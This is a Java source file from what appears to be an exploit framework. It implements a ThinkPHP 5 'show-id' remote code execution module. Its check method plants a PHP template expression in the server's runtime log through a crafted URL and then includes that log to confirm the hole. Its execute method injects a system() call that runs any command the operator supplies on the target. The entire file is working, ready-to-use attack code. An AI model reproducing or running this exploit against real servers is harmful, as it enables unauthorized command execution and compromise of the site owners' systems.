content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.time.LocalDate;
  import java.time.format.DateTimeFormatter;
  
  public class tp5_showid_rce implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "56540676a129760a3";
  
          String payload = url + "/index.php?s=my-show-id-%5Cx5C..%5Cx5CTpl%5Cx5C8edy%5Cx5CHome%5Cx5Cmy_1%7B~var_dump(md5(2333))%7D%5D";
  
          try {
              HttpRequest.get(payload).code();
  
              LocalDate date = LocalDate.now();
              DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yy_MM_dd");
  
              String payload_v = url + "/index.php?s=my-show-id-\\x5C..\\x5CRuntime\\x5CLogs\\x5C" + date.format(formatter) + ".log'";
              String res = HttpRequest.get(payload_v).body();
              if (res.contains(CheckStr)) {
                  return new Result(true, "ThinkPHP 5 show-id RCE", payload);
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
  
          return new Result(false, "ThinkPHP 5 show-id RCE", null);
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          String payload = url + "/index.php?s=my-show-id-\\x5C..\\x5CTpl\\x5C8edy\\x5CHome\\x5Cmy_1{~system(\"" + cmd + "\")}]";
  
          try {
              HttpRequest.get(payload).code();
              LocalDate date = LocalDate.now();
              DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yy_MM_dd");
              String payload_v = url + "/index.php?s=my-show-id-\\x5C..\\x5CRuntime\\x5CLogs\\x5C" + date.format(formatter) + ".log'";
              HttpRequest res = HttpRequest.get(payload_v);
              if (res.serverError()) {
                  return new Result(true, null, res.body());
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, null, null);
      }
  }
  